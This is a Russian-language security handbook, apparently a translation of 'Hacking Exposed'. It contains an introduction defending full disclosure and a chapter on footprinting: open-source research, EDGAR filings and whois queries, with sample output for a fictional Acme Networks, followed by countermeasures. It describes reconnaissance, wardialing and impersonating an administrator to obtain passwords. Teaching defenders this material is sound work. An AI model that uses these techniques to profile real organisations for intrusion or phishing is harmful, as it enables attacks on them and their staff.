10. Обеспечение безопасности в сети Интернет

Самоучитель по защите в Интернет

Введение





Введение


Когда в лесу падает дерево и никого нет поблизости, в любом случае раздается громкий треск. Однако если компьютерная сеть содержит изъян в системе защиты и никому об этом неизвестно, то на первый взгляд кажется, что такую сеть можно считать надежной. Лишь самый большой идеалист может поспорить с этим утверждением, однако очень скоро вы увидите, что все далеко не так очевидно.
Сеть с изъяном в подсистеме зашиты оказывается незащищенной для тех, кому известно об этой бреши. Если о ней не знает никто, т.е. изъян до настоящего момента еще не был обнаружен, то можно считать, что сеть в безопасности. Если хотя бы один человек узнает об этом слабом месте, то сеть станет для него уязвимой, однако она по-прежнему будет защищенной от всех остальных. Если же о недостатке станет известно производителю оборудования... Если специалисты какой-либо исследовательской группы узнают об этом... Если эта информация попадет в руки сообщества хакеров... В любой из этих ситуаций незащищенность сети возрастет во много раз и эта новость мгновенно станет всеобщим достоянием.
Так ли это на самом деле? Изъян существует независимо от того, известно о нем кому-либо или нет. Опубликование материалов на этот счет напрямую не приводит к незащищенности сети. Подобное утверждение может сбить с толку. Публикация материалов повышает вероятность того, что взломщик воспользуется этим слабым местом, однако это никак не характеризует сам изъян. В то же время информационные сообщения увеличивают и вероятность того, что будут предприняты соответствующие контрмеры. Точно так же, как злоумышленник не сможет воспользоваться неизвестным изъяном, так и защитить сеть нельзя будет до тех пор, пока о ее слабом месте не станет известно.
Так что сохранение информации об обнаруженном изъяне в секрете является далеко не лучшим способом борьбы с ним. Такой подход оказывается полезным лишь до того момента, пока этот секрет таковым и будет оставаться. Однако все, что связано с информацией, приводит к ее распространению. Одни разглашают секреты случайно. Другие — с определенными целями. Иногда секреты попадают в руки третьих лиц. Однако как только эта информация перестала быть секретной, ее уже никогда не удастся спрятать.
Процесс обеспечения безопасности, при котором полученные данные без ограничения предоставляются широкой общественности, оказывается наиболее робастным. Конечно, взломщики тоже узнают об этом, однако они смогут получить требуемую информацию и в любом другом случае. Что более существенно, важные данные станут доступны и специалистам, разрабатывающим системы защиты, производителям программного и аппаратного обеспечения, которые смогут устранить обнаруженные изъяны и выпустить соответствующие модули обновления, и системным администраторам, которые смогут принять требуемые контрмеры. Чем больше людей знают об изъяне, тем больше повышается вероятность его устранения. Настроив себя на предоставление информации, а не на ее сокрытие, вы способствуете повышению уровня защищенности, а не его понижению.
Приведенные размышления лежат в основе сложной проблемы обеспечения безопасности со всеми связанными с ней аспектами, что в результате приводит к улучшению защищенности сети Internet на протяжении многих лет. После публикации результатов исследований и демонстрационного кода производители программного обеспечения уделяют больше времени устранению известных изъянов. Различные компании не в состоянии устранить проблемы, упоминание о которых появляется в газетах. Internet по-прежнему остается практически незащищенной, однако будет гораздо хуже, если все из существующих изъянов безопасности останутся скрытыми от общественности.
Из-за того что общедоступная информация автоматически не попадает в руки большинства людей, и появилась эта книга. "Секреты"хакеров — это очень подробная информация о способах обеспечения компьютерной безопасности. В этом издании содержится полное описание изъянов в системах зашиты: что они собой представляют, как их можно использовать и какие ответные контрмеры следует предпринимать. После чтения этой книги вы будете знать о своей сети гораздо больше и, что еще более важно, сможете защитить ее гораздо лучше, чем с помощью сведений, содержащихся в любом другом аналогичном издании. Эта книга содержит по-настоящему бесценную информацию.
Конечно, полученные знания можно использовать как для защиты, так и для нападения. Кто-нибудь может воспользоваться этими сведениями как руководством для реализации собственных атак. Почти наверняка именно это и случится, что достаточно грустно. Однако на самом деле все обстоит несколько иначе. Прежде уже появлялись руководства по нападениям на компьютерные системы и сети. Их можно найти на различных Web-узлах и в интерактивных службах. Они гораздо раньше были предназначены для хакинга, хотя и не были описаны столь подробно, как в этой книге. Здесь содержатся сведения для тех, кому необходимо знать о том, какие действия предпринимаются хакерами, как функционируют используемые при этом средства и какие изъяны скрыты в системе защиты эксплуатируемых сетей.
Первое издание этой книги стало настоящим бестселлером среди книг на компьютерную тематику: более 70 тысяч экземпляров было продано менее чем за один год. Тот факт, что авторам пришлось так быстро обновить содержимое книги, говорит о том, что появилось настолько много новой информации, что понадобилось выпустить второе издание.
Вот библейское высказывание, которое можно высечь на камне: "Стремитесь к истине, и она сделает вас свободными". Знания — это большая сила, поскольку они позволяют принимать взвешенные решения, основанные на законах реальности, ...а не на том, как это выглядит в ваших собственных глазах. Эта книга предоставит новые знания и во много раз приумножит вашу силу. Воспользуйтесь ими в полной мере.


Глава 1. Предварительный сбор данных



Глава 1. ПРЕДВАРИТЕЛЬНЫЙ СБОР ДАННЫХ




    1. Предварительный сбор данных



    Предварительный сбор данных


    Прежде чем приступить к столь увлекательному занятию, как хакинг, необходимо выполнить рад подготовительных мероприятий. В этой главе рассматривается первый этап подготовки, заключающийся в предварительном сборе данных (footpnntmg) о представляющей интерес сети. Именно так и поступают настоящие преступники, решившие ограбить банк. Они не вваливаются в операционный зал и не начинают требовать денег (за исключением разве что самых примитивных грабителей). Любая по-настоящему опасная группировка, замышляющая ограбление посвятит немало времени сбору информации об этом банке. Они изучат маршруты передвижения бронеавтомобилей, время доставки наличных денег, места расположения видеокамер и служебных выходов, а также все, что может им пригодиться для реализации их преступных замыслов. 
    То же самое необходимо проделать и взломщику компьютерной сети, если он хочет добиться успеха. Для того чтобы нанести точный и своевременный удар и при этом не быть пойманным, он должен собрать как можно больше информации. Поэтому взломщики обычно пытаются разведать все, что только может иметь хоть какое-то отношение к системе обеспечения безопасности организации. После завершения этого процесса в руках хакера может оказаться целое "досье", или профиль, в котором содержится описание способов подключения организации к Internet, возможностей удаленного доступа к ее сети, а также конфигурации внутренней сети. Следуя хорошо структурированной методологии, из самых разных источников хакер по крупинкам может собрать досье практически на любую организацию.


    2. Что такое предварительный сбор данных



    Что такое предварительный сбор данных


    В результате систематизированного сбора информации хакеры могут получить в свое распоряжение полный профиль системы защиты организации. Начав "с нуля" (например, имея лишь общие сведения о подключении к Internet) и применяя различные средства и технические приемы, взломщик может получить в конце концов совершенно определенный набор доменных имен, адресов подсетей и отдельных компьютеров этой организации, подключенных к Internet. Методов сбора подобной информации очень много, однако все они сводятся к одному - получению информации, имеющей отношение к технологиям Internet, корпоративным сетям (intranet), удаленному доступу (remote access) и экстрасетям (extranet). Все эти технологии, а также важные данные которые взломщики пытаются получить, перечислены в Табл. 1.1.


    3. Для чего необходим предварительный сбор данных



    Для чего необходим предварительный сбор данных


    Предварительный сбор данных необходим для того, чтобы систематически и методологически гарантировать получение всей информации, имеющей отношение ко всем из вышеперечисленных технологий, используемых в конкретной организации. Без четко определенной методики выполнения этой работы высока вероятность того, что какая-нибудь часть важной информации не будет получена. Предварительный cбор данных о системе безопасности организации зачастую оказывается одной из наиболее трудных задач, однако в то же время этот процесс является наиболее важным. Его успешное завершение можно обеспечить лишь при четком следовании определенной методике и его контроле.


    4. Сбор данных о подключении к Internet



    Сбор данных о подключении к Internet


    Для сбора данных о различных технологиях применяются схожие методы (это справедливо, например, по отношению к Internet и корпоративным сетям), поэтому в этой главе подробно рассматриваются лишь методы сбора необходимой информации о подключении организации к Internet. Вопросы сбора данных об удаленном доступе будут подробно рассмотрены в главе 9, "Хакинг удаленных соединений, РВХ, Voice-mail и виртуальных частных сетей".

    Таблица 1.1. Важная информация, которую могут определить взломщики об используемых технологиях

    Технология Идентифицирующие сведения
    Internet
    Имена доменов;. адреса подсетей; точные IP-адреса компьютеров, подключенных к Internet; TCP- и UDP-службы; работающие на каждом из обнаруженных компьютеров; архитектура системы (например, SPARC X86); механизмы управления доступом и соответствующие списки управления доступом (ACL — Access Control List); системы выявления вторжений (IDS); регистрационная информация (имена пользователей и групп, системные маркеры, таблицы маршрутизации, информация о протоколе SNMP)
    интрасети
    Используемые сетевые протоколы (например, IP, IPX, DecNET и т.д.); имена внутренних доменов; адреса подсетей; точные IP-адреса компьютеров, подключенных к Internet; TCP- и UDP-службы; работающие на каждом из обнаруженных компьютеров; архитектура системы (например, SPARC X86); механизмы управления доступом и соответствующие списки управления доступом (ACL — Access Control List); системы выявления вторжений (IDS); регистрационная информация (имена пользователей и групп, системные маркеры, таблицы маршрутизации, информация о протоколе SNMP)
    удаленный доступ
    Телефонные номера, используемые для удаленного доступа, а также тип АТС (аналоговая или цифровая); тип удаленной операционной системы; механизм аутентификации
    экстрасети
    Исходящая и входящая точки соединения; тип соединения; механизм управления доступом

    Строго говоря, сложно дать четкие рекомендации по выполнению процесса сбора информации, поскольку осуществить это можно по-разному. Тем не менее, в данной главе предпринята попытка описать основные этапы, которые обязательно должны быть проведены при анализе информации для создания профиля организации. Многие из описанных приемов можно с успехом применять и для сбора данных о других технологиях, упоминавшихся выше.


    5. Этап 1. Определение видов деятельности



    Этап 1. Определение видов деятельности


    Прежде всего необходимо определить виды деятельности, которые будут осуществляться при сборе информации. Например, нужно ответить на вопрос, планируете ли вы собрать данные обо всей сети организации или же ограничитесь лишь определенными ее сегментами (например, сетью главного офиса)? В некоторых случаях собрать данные обо всей организации может оказаться затруднительным. К счастью, в Internet можно найти множество ресурсов, с помощью которых можно сузить область деятельности, а также получить открытую информацию об организации и ее служащих.

    Поиск по открытым источникам



    Прежде всего начните с Web-страницы организации (если, конечно, она существует). Зачастую оказывается, что на таких Web-страницах присутствует информация, которая может помочь взломщику. Однажды нам даже довелось увидеть на одном Web-узле конфигурационные параметры, которые использовались для настройки системы защиты этой организации с помощью брандмауэра. К другим данным, которые можно получить и которые могут представлять интерес, относятся следующие.

    •  Адреса и места расположения офисов и подразделений.
    •  Деловые партнеры и поставщики.
    •  Новости о слиянии или приобретении.
    •  Номера телефонов.
    •  Контактная информация и адреса электронной почты.
    •  Требования к сотрудникам и посетителям по обеспечению безопасности, по которым можно судить об применяемых механизмах защиты. 
    •  Ссылки на другие Web-узлы, имеющие отношение к организации.

    Кроме того, попробуйте просмотреть комментарии, содержащиеся в HTML-коде Web-страниц. Зачастую в коде HTML можно найти интересные, с точки зрения взломщика, комментарии, такие как "<", "!" и "--", которые не отображаются на экране при открытии страницы в окне броузера. Просмотр исходного кода Web-страницы в автономном режиме позволит гораздо эффективнее работать в интерактивном режиме. Так что зачастую полезно сохранить полный образ всего Web-узла для дальнейшего просмотра. Впоследствии эту локальную копию можно использовать для поиска комментариев или других важных данных программным способом и, таким образом, значительно повысить эффективность процесса сбора информации. Для создания образа всего Web-узла в системе UNIX можно воспользоваться утилитой Wget (ftp://gnjilux.cc.fer.hr/pub/unix/util/wget/), а в системе Windows — утилитой Teleport Pro (http://www.tenmax.com/teleport/home.htm).
    После изучения Web-страниц можно поискать данные об организации в открытых источниках. Опубликованные статьи, сообщения для печати и так далее могут дать представление о происходящих в организации событиях и принятой в ней политике безопасности. На таких Web-узлах, как finance.yahoo.com или www.companysleuth.com, содержится огромное количество подобной информации. Если вы собираете данные о компании, значительная часть деятельности которой выполняется через Internet, то достаточно покопаться как следует в прессе, чтобы выяснить, что у такой компании нередко возникают проблемы, связанные с нарушением безопасности. Для того чтобы найти такой материал, вполне достаточно поискового сервера. Однако для этих целей можно использовать и более мощные средства и критерии поиска, позволяющие получить дополнительную информацию.
    Одним из наших любимых средств такого класса является комплект поисковых средств FerretPRO компании FerretSoft (http://www.ferretsoft.com). Средство поиска в Web WebFerretPRO позволяет выполнять поиск сразу на нескольких поисковых серверах. Кроме того, другие средства этого комплекта позволяют выполнять поиск по заданному критерию в каналах IRC, системе USENET, сообщениях электронной почты, а также в базах данных. Если вам нужно бесплатное средство, позволяющее выполнять поиск одновременно по нескольким критериям, обратитесь по адресу http: //www.dogpile.com.
    Поиск в системе USENET сообщений, отправленных из интересующего вас домена (вида @targetdomain.com), очень часто позволяет получить полезную информацию. Однажды в одной из групп новостей мы наткнулись на сообщение от системного администратора, в котором он жаловался на проблемы, возникшие у него после установки новой офисной АТС. Для передачи этого сообщения он воспользовался своей рабочей учетной записью. Он просил помощи, так как не знал, как отключить установленный по умолчанию режим доступа по паролю. Трудно даже предположить, сколько фрикеров (phreak — использование знаний об устройстве АТС для осуществления звонков за чужой счет) воспользовалось "услугами" этой организации. Поэтому естественно, что, изучая сообщения, отправляемые служащими организации, можно значительно повысить свою осведомленность в ее внутреннем устройстве и уровне технической подготовки ее сотрудников.



    Рис. 1.1. С помощью директивы link: tar getdomain.com механизма поиска AltaVista можно получить список всех узлов, которые содержат ссылки на заданный домен

    Наконец, можно просто воспользоваться средствами расширенного поиска некоторых ведущих поисковых серверов, таких как AltaVista или Hotbot. Многие из них позволяют найти все Web-страницы, на которых имеются ссылки на домен интересующей вас организации. На первых взгляд эта возможность не представляет собой ничего интересного, но не торопитесь с выводами! Допустим, кто-то из сотрудников организации решил создать собственный Web-узел дома или во внутренней сети организации. Весьма вероятно, что такой Web-узел будет иметь недостаточный уровень защиты или, более того, он может быть создан без ведома руководства. Как показано на рис. 1.1, обнаружить такой Web-узел можно именно с помощью описанного метода.
    Как видно из рис. 1.1, в результате поиска получен список узлов, на Web-страницах которых обнаружены ссылки на домен www.10pht.com, а также слово "hacking". С такой же легкостью можно получить список узлов, содержащих ссылки на любой другой требуемый домен.
    Другой пример (рис. 1.2) демонстрирует, как ограничиться поиском на определенном узле. В рассматриваемом примере показаны результаты поиска на узле http://www.l0pht.com страниц, содержащих слово mudge. Подобный запрос можно использовать и для поиска любой другой информации.
    Очевидно, что приведенные примеры не исчерпывают всех возможностей, предоставляемых средствами поиска, так что проявляйте изобретательность. Иногда очень важную информацию можно найти лишь после применения весьма необычных критериев.

    Поиск в базе данных EDGAR



    Для поиска информации о компании, представляющей собой открытое акционерное общество (publicly traded company), можно воспользоваться базой данных EDGAR, поддерживаемой Комиссией по безопасности и обмену данными (SEC — Securities and Exchange Commission), находящейся по адресу http: //www. sec. gov (рис. 1.3).



    Рис. 1.2. С помощью директивы host: targetdomain.com механизма поиска AltaVista можно получить список страниц узла targetdomain, содержащих, заданную строку (в данном случае mudge)



    Рис. 1.3. База данных EDGAR позволяет получить открытые документы, которые могут содержать важную информацию о структуре организации

    Одной из самых больших проблем, с которыми сталкиваются крупные компании, — это управление соединениями с Internet, особенно если они вовлечены в активную деятельность по приобретению других компаний или сами являются объектами приобретения. Именно поэтому так важно обращать внимание на информацию о недавно приобретенных компаниях. Среди документов комиссии SEC можно отметить два особенно важных: 10-Q и 10-К. Документ 10-Q представляет собой краткую сводку о деятельности организации за последний квартал. Кроме всей остальной информации в этом отчете также указывается количество акций компаний, приобретенных организацией за отчетный период, или количество акций организации, приобретенных за этот же период другими компаниями. Отчет 10-К содержит аналогичную информацию, однако он обновляется один раз в год. Поэтому сведения, приведенные в нем, могут потерять актуальность. Можно, например, поискать в этих документах слова subsidiary (дочерняя) или subsequent events (последующие события). В результате вы можете получить представление о недавно приобретенных компаниях или планирующихся слияниях. Зачастую организации подключают сети приобретенных ими компаний, забывая о требованиях безопасности. Поэтому вероятность того, что вы сможете проникнуть в сеть родительской компании, прорвав защиту новоприобретенного подразделения, довольно высока. Это лишний раз доказывает, что взломщики являются приверженцами хаоса и анархии, поскольку они всегда не преминут воспользоваться неразберихой, царящей в организации во время объединении сетей.
    Осуществляя поиск в базе данных EDGAR, не забывайте о том, что в качестве критериев нужно использовать названия компаний и организаций, отличающихся от названия родительской компании. Это окажется особенно важным при выполнении последующих этапов, когда вы будете обращаться с организационными запросами whois к различным базам данных (см. раздел "Этап 2. Инвентаризация Сети").

    Контрмеры: обеспечение безопасности общедоступных баз данных



    Большая часть приведенных выше сведений должна быть общедоступной. Особенно это касается открытых акционерных обществ. Однако в то же время очень важно оценить и классифицировать типы такой информации. Для выполнения такого анализа может оказаться полезным руководство по обеспечению безопасности узла (Site Security Handbook, документ RFC2196). Его можно найти по адресу http://ietf.org/rfc/rfc2196.txt. И наконец, если на Web-страницах вашего узла имеется хоть какая-нибудь информация, которая может помочь взломщику в проникновении в вашу сеть, удалите ее, если только это не является жизненно необходимым.


    1.gif

    Изображение: 

    2.gif

    Изображение: 

    3.gif

    Изображение: 

    6. Этап 2. Инвентаризация сети



    Этап 2. Инвентаризация сети


    Первым шагом в процессе инвентаризации сети (network enumeration) является идентификация имен доменов и сетей, связанных с конкретной организацией. Доменные имена представляют собой адрес компании в Internet и являются Internet-эквивалентами названия компании, например AAAApainting.com или moetavern.com.
    Для того чтобы определить такие доменные имена и приступить к выявлению данных о подключенных к ним сетям, необходимо обратиться к соответствующим средствам Internet. Много полезной информации можно почерпнуть, например, из специальных баз данных. До конца 1999 года компания Network Solutions имела монополию на регистрацию имен доменов (com, net, edu и org) и соответствующая информация содержалась на ее специальных серверах. Однако в настоящее время существует множество других аккредитованных компаний, которые могут выполнять те же функции (http://www.internic.net/alpha.html). Если в процессе поиска требуемой информации нужно обратиться к такой компании-регистратору, то в этот процесс должны быть вовлечены также и все новые организации (см. раздел "Регистрационный Запрос").
    Предусмотрено множество различных методов генерации запросов whois к базам данных (табл. 1.2). Независимо от того, какой из них вы выберете, полученная информация будет практически одной и той же. При поиске имен доменов, отличных от com, net, edu или org, необходимо обращаться и к другим серверам, перечисленным в табл. 1.3. Еще одним полезным ресурсом, особенно при поиске за пределами США, является сервер www.allwhois.com. В сети Internet предоставляемая им информация является наиболее полной.

    Таблица 1. 2. Источнйки информации и методы поиска с помощью команды whois

    Механизм
    Ресурсы
    Платформа
    Web-интерфейс
    http://www.networksolutions.com 
    http ://www.arin.net
    Любая платформа с Web-клиентом
    Клиент whois
    whois входит в комплект поставки большинства версий UNIX. Кроме того, имеется утилита fwhois, разработанная Крисом Капуччио (Chris Cappuccio, ccappucg santef e . edu)
    UNIX
    WS Ping ProPack
    http : //www.ipswitch.com
    Windows 95/NT/2000
    Sam Spade
    http : //www.samspade.org/ssw
    Windows 95/NT/2000
    Sam Spade, Web-интерфейс
    http : //www.samspade.org/
    Любая платформа с Web-клиентом
    Средства Netscan
    http://www .nwspsw.com/
    Windows 95/NT/2000
    Xwhois
    http://www.oxygene.500mhz.net/whois/
    UNIX с X Window и набором средств графического интерфейса GTK+

    Таблица 1.3. Базы данных, содержащие сведения о военных, правительственных и международных доменах

    Сервер whois
    Адрес
    IP-адреса, используемые в Европе
    http://whois.ripe.net
    IP-адреса тихоокеанского региона Азии
    http : //whois.apnic.net
    Военные ведомства США
    http://whois.nic.mil
    Правительственные учреждения США
    http ://whois.nic.gov
    Разные виды запросов позволяют получить различную информацию. Ниже перечислены типы запросов, с которыми в подавляющем большинстве случаев к службам whois обращаются хакеры, планирующие попытку проникновения в сеть организации.
    •  Регистрационный. Отображает специфическую регистрационную информацию и соответствующие серверы whois.
    •  Организационный. Отображает всю информацию, имеющую отношение к организации с заданным названием.
    •  Доменный. Отображает всю информацию, связанную с заданным доменом.
    •  Сетевой. Отображает всю информацию, связанную с заданной сетью или отдельным IP-адресом.
    •  Контактный. Отображает всю информацию о заданном лице, как правило, являющемся администратором сети.

    Регистрационный запрос



    С появлением совместно используемой системы регистрации (т.е. нескольких компаний-регистраторов) для получения списка доменов и соответствующей регистрационной информации, связанной с данной организацией, необходимо обратиться к серверу whois.crsnic.net. Следует определить компанию-регистратор и, таким образом, базу данных, к которой можно будет обращаться с последующими запросами на получение более подробных данных. В данном случае в качестве целевой будет использоваться компания Acme Networks, а запрос будет выполняться из командной оболочки системы UNIX (Red Hat 6.2). В используемой версии команды whois с помощью параметра @ можно задать альтернативную базу данных. В некоторых системах из ряда BSD (например, OpenBSD или FreeBSD) для этого можно воспользоваться параметром -а. Для получения более подробной информации об использовании клиента whois для генерации запросов воспользуйтесь командой man whois.
    При выполнении поиска полезно использовать символы-заполнители, поскольку в этом случае можно получить дополнительную информацию. Если после строки acme в запросе используется символ ".", то будет получен список всех доменов, имена которых начинаются со строки acme, а не все домены, имена которых в точности содержат эту строку. Кроме того, при формировании расширенных запросов за консультацией можно обратиться по адресу http: //www.networksolutions.com/help/whoishelp.html. Руководствуясь приведенными в этом документе советами, запрос можно сгенерировать более точно.

    [bash]$ whois "acme."@whois.crsnic.net
    [whois.crsnic.net] Whois Server Version 1.1
    Domain names in the .com, .net, and .org domains can now be registered
     with many different competing registrars.
    Go to http://www.internic.net for detailed information.
    ACMETRAVEL.COM 
    ACMETECH.COM
     ACMES.COM 
    ACMERACE.NET
     ACMEINC.COM 
    ACMECOSMETICS.COM 
    ACME.ORG
     ACME.NET 
    ACME.COM
     ACME-INC.COM

    Если о домене acme. net необходимо получить дополнительную информацию, то поиск можно продолжить и определить компанию-регистратор.

    [bash]$ whois "acme.net"@whois.crsnic.net
    Whois Server Version 1.1
    Domain names in the .com, .net, and .org domains can now be registered
    with many different competing registrars.
    Go to http://www.internic.net for detailed information.
    Domain Name: ACME.NET
    Registrar: NETWORK SOLUTIONS, INC.
    Whois Server: whois.networksolutions.com
    Referral URL: www.networksolutions.com
    Name Server-: DNS1 .ACME .NET
    Name Server: DNS2.ACME.NET

    Из полученных результатов видно, что для данной организации компанией-регистратором является Network Solutions, что является достаточно обычным для любой организации, зарегистрированной до ввода в действия новой системы регистрации. В дальнейшем последующие запросы должны быть адресованы соответствующей компании-регистратору, поскольку именно на ее сервере содержится требуемая информация.

    Организационный запрос



    После идентификации компании-регистратора можно приступать к формированию организационного запроса. Такой тип запроса позволяет выполнить поиск компании-регистратора для всех экземпляров имен рассматриваемой организации. Он гораздо шире, чем просто поиск имени домена. Организационный запрос должен содержать ключевое слово name и быть отправлен компании Network Solutions.

    [bash]$ whois "
    name Acme Networks"@whois.networksolutions.com

    Acme Networks (NAUTILUS-AZ-DOM) NAUTILUS-NJ.COM
    Acme Networks (WINDOWS4-DOM) WINDOWS.NET
    Acme Networks (BURNER-DOM) BURNER.COM
    Acme Networks (ACME2-DOM) ACME.NET
    Acme Networks (RIGHTBABE-DOM) RIGHTBABE.COM
    Acme Networks (ARTS2-DOM) ARTS.ORG
    Acme Networks (HR-DEVELOPMENT-DOM) HR-DEVELOPMENT.COM
    Acme Networks (NTSOURCE-DOM) NTSOURCE.COM
    Acme Networks (LOCALNUMBER-DOM) LOCALNUMBER.NET
    Acme Networks (LOCALNUMBERS2-DOM) LOCALNUMBERS.NET
    Acme Networks (Y2MAN-DOM) Y2MAN.COM
    Acme Networks (Y2MAN2-DOM) Y2MAN.NET
    Acme Networks for Christ Hospital (CHOSPITAL-DOM) CHOSPITAL.ORG

    Из полученного списка видно, что к компании Acme Networks имеет отношение много доменов. Однако пока неясно, представляют ли они реальные сети или же зарегистрированы для будущего использования либо для зашиты торговых марок. Для получения ответов на эти вопросы необходимо продолжить исследования, пока не будут обнаружены реальные сети.
    Для большой организации в результате организационного запроса можно получить сотни и даже тысячи записей. Раньше, когда спэмминг (spamming) был не так популярен, можно было получить всю регистрационную базу домена .com компании Network Solutions. Однако в настоящее время серверы этой компании настроены таким образом, чтобы ограничивать результат первыми 50 записями.

    Доменный запрос



    Проанализировав результаты организационного запроса, приходим к выводу, что наиболее вероятным кандидатом для изучения является домен Acme.net, поскольку он представляет саму компанию Acme Networks (естественно, все реальные имена и адреса были изменены). 

    [bash]$ whois acme.net@whois.networksolutions.com
    [whois.networksolutions.com]
     Registrant:
    Acme Networks (ACME2-DOM) 
    li Town Center Ave. Einstein, AZ 21098
    Domain Name: ACME.NET
    Administrative Contact, Technical Contact, Zone Contact:
    Boyd, Woody [Network Engineer] (WB9201) woody@ACME.NET
    201-555-9011 (201)555-3338 (FAX) 201-555-1212
    Record last updated on 13-Sep-95.
    Record created on 30-May-95.
    Database last updated on 14-Apr-99 13:20:47 EOT.
    Domain servers in listed order:
    DNS.ACME.NET 10.10.10.1
    DNS2.ACME.NET 10.10.10.2

    Подобный запрос позволяет получить следующую информацию. 

    • Организация, зарегистрировавшая домен (Registrant).
    •  Имя домена (Domain Name).
    •  Имя, фамилия, почтовый адрес, телефон и адрес электронной почты администратора домена (Administrative Contact).
    •  Дата создания и обновления записи.
    •  Имена и адреса первичного и вторичных серверов DNS.

    Теперь пришло время проявить способности детектива. Для того чтобы проанализировать полученную информацию и извлечь из нее что-то полезное, необходимо иметь определенные знания. Обычно мы называем такого рода информацию "нюансами", поскольку она уточняет имеющиеся в распоряжении взломщика сведения и позволяет осуществить более сфокусированную атаку. Давайте подробнее рассмотрим приведенные в примере данные.
    Проверив информацию об организации, зарегистрировавшей домен, можно сделать вывод от том, действительно ли домен принадлежит интересующему нас объекту. Допустим, нам известно, что компания Acme Networks находится в штате Аризона. На основании этой информации можно сделать вывод о том, что полученные сведения имеют отношение к собираемым данным. Не забывайте, что местонахождение организации, зарегистрировавшей домен, необязательно совпадает с физическим расположением объекта. Многие организации имеют распределенные сети, каждая из которых самостоятельно подключена к Internet. Однако при этом они могут быть зарегистрированы как один объект. Поэтому проанализируйте полученные сведения и установите, имеет ли отношение регистратор домена к интересующей вас организации. Доменное имя, которое мы получили, совпадает с именем, которое мы использовали в запросе, поэтому в данном случае мы не узнали ничего нового.
    Данные администратора домена — это очень важная информация, так как с их помощью можно узнать имя человека, ответственного за подключение к Internet или работу брандмауэра. Кроме того, в них содержатся номера телефонов и факсов. Если вы планируете предпринять попытку проникновения в сеть с использованием средств удаленного доступа, эта информация будет для вас очень важна. Достаточно настроить программу автопрозвона (wardialer) на полученные номера, и это будет хорошим началом процесса идентификации потенциальных номеров модемных соединений. Кроме того, взломщики часто используют информацию об администраторе, чтобы выведать сведения о системе у ничего не подозревающих пользователей. Например, взломщик может отправить пользователю дезинформирующее электронное сообщение от имени администратора, указав в качестве обратного свой адрес, а не адрес администратора. Просто удивительно, как много пользователей послушно меняют свой пароль на любой, который им укажет такой "администратор", основываясь лишь на предположении, что сообщение пришло из службы технической поддержки.
    Даты создания и модификации записи говорят о том, насколько полученная информация соответствует действительности. Если запись была создана пять лет тому назад и с тех пор не обновлялась, скорее всего, что, как минимум, ее часть (например, сведения об администраторе) уже устарела.
    В последнем фрагменте содержатся сведения о серверах DNS, обслуживающих данный домен. Первый сервер является первичным, а второй и все последующие — вторичными. Эта информация позднее понадобится для изучения серверов DNS, о чем мы поговорим ниже в этой главе. Кроме того, можно попробовать получить информацию о сети, используя в качестве исходных данных сетевого запроса адреса серверов DNS.

    С помощью директивы server, примененной к записи HST, информация о которой получена из запроса whois, можно установить другие домены, обслуживаемые заданным DNS-сервером. Для этого необходимо выполнить следующие действия.
    1. Выполните доменный запрос, как описывалось выше.
    2. Найдите в полученных результатах сведения о первом сервере DNS.
    3. Введите запрос whois для этого сервера DNS:
    whois "HOST 10.10.10.l"@whois.networksolutions.com
    4. Среди полученных результатов найдите запись HST для этого сервера DNS.
    5. Выполните запрос whois с директивой server:
    whois "SERVER NS9999-HST"@whois.networksolutions.com


    Сетевой запрос



    Для идентификации сетей, ассоциированных с конкретным доменом, может использоваться база данных ARIN (American Registry for Internet Numbers). В ней содержатся конкретные диапазоны адресов, которыми обладает данная организация. Сгенерировать такой запрос очень важно, поскольку он позволит определить, действительно ли конкретный адрес принадлежит заданной организации, а не относится к другой организации, например провайдеру услуг Internet.
    В рассматриваемом примере мы попробуем определить все сети, принадлежащие компании Acme Networks. Запрос к базе данных ARIN является очень удобным, поскольку при этом не налагается ограничение на получение первых пятидесяти записей, реализованное компанией Network Solutions. Обратите внимание, что в строке запроса фигурирует символ заполнения ". ".

    [bash]$ whois "Acme Net."@whois.arin.net
    [whois.arin.net]
    Acme Networks (ASN-XXXX) XXXX 99999
     Acme Networks (NETBLK) 10.10.10.0 - 10.20.129.255

    С использованием определенного адреса (10.10.10.0) можно сформировать более специализированный запрос.

    [bash]$ whois 10.10.10.08whois.arin.net
    [whois.arin.net]
    Major ISP USA (NETBLK-MI-05BLK) MI-05BLK
    10.10.0.0 - 10.30.255.255
    ACME NETWORKS, INC. (NETBLK-MI-10-10-10)
    CW-10-10-10 10.10.10.0 - 10.20.129.255

    База данных ARIN предоставляет удобный Web-ориентированный механизм обработки запросов, показанный на рис. 1.4. Возвращаясь к полученным результатам, можно заключить, что сеть интересующей нас компании Acme Networks адресуется главным провайдером Major IPS USA как сеть класса А (полное изложение основ протокола TCP/IP можно найти в книге Ричарда Стивенса (Richard Stevens) TCP/IP Illustrated, Volume 1). Таким образом, можно заключить, что эта сеть и является внутренней сетью компании Acme Networks. 



    Рис. 1.4. Один из самых простых методов поиска информации в базе данных ARIN состоит в использовании интерфейса ее Web-узла

    Контактный запрос



    Поскольку технический служащий, чьи данные указаны в регистрационных данных, может заниматься администрированием нескольких организаций, имеет смысл обратиться к базе whois с контактным запросом по пользовательскому дескриптору базы данных. В данном случае воспользуемся дескриптором WB9201, полученным в предыдущем доменном запросе. Таким образом можно выявить домен, о существовании которого вы даже не подозреваете.

    [bash]$ whois "HANDLE WB9201"@whois.networksolutions.com
    Boyd, Woody [Network Engineer] (WB9201) woody@ACME.NET
    BIG ENTERPRISES
    11 TOWN CENTER AVE
    EINSTEIN, AZ 20198 201-555-1212
    (201)555-1212 (FAX) 201-555-1212

    Можно также попробовать поискать записи, содержащие часть адреса @Acme.net, и получить список всех адресов электронной почты данного домена. Для краткости мы приведем лишь часть полученных данных.

    [bash]$ whois "@Acme.net"@whois.internic.net
    Smith, Janet (JS9999) jsmith@ACME.NET (201)555-9211 (FAX)
    (201)555-3643
    Benson, Bob (BB9999) bob@ACME.NET (201)555-0988
    Manual, Eric(EM9999) ericm@ACME.NET (201)555-8484 (FAX)
    (201)555-8485 Bixon, Rob (RB9999) rbixonSACME.NET (201)555-8072

    Контрмеры: обеспечение безопасности общедоступных баз данных



    Большая часть информации, хранящейся в описанных базах данных, открыта для свободного доступа. Когда организация намеревается зарегистрировать собственный домен, она обязана предоставить контактную информацию, сведения о выделенных ей блоке сетевых адресов и серверах DNS. Однако для того чтобы усложнить задачу взломщикам, необходимо придерживаться определенных принципов обеспечения безопасности.
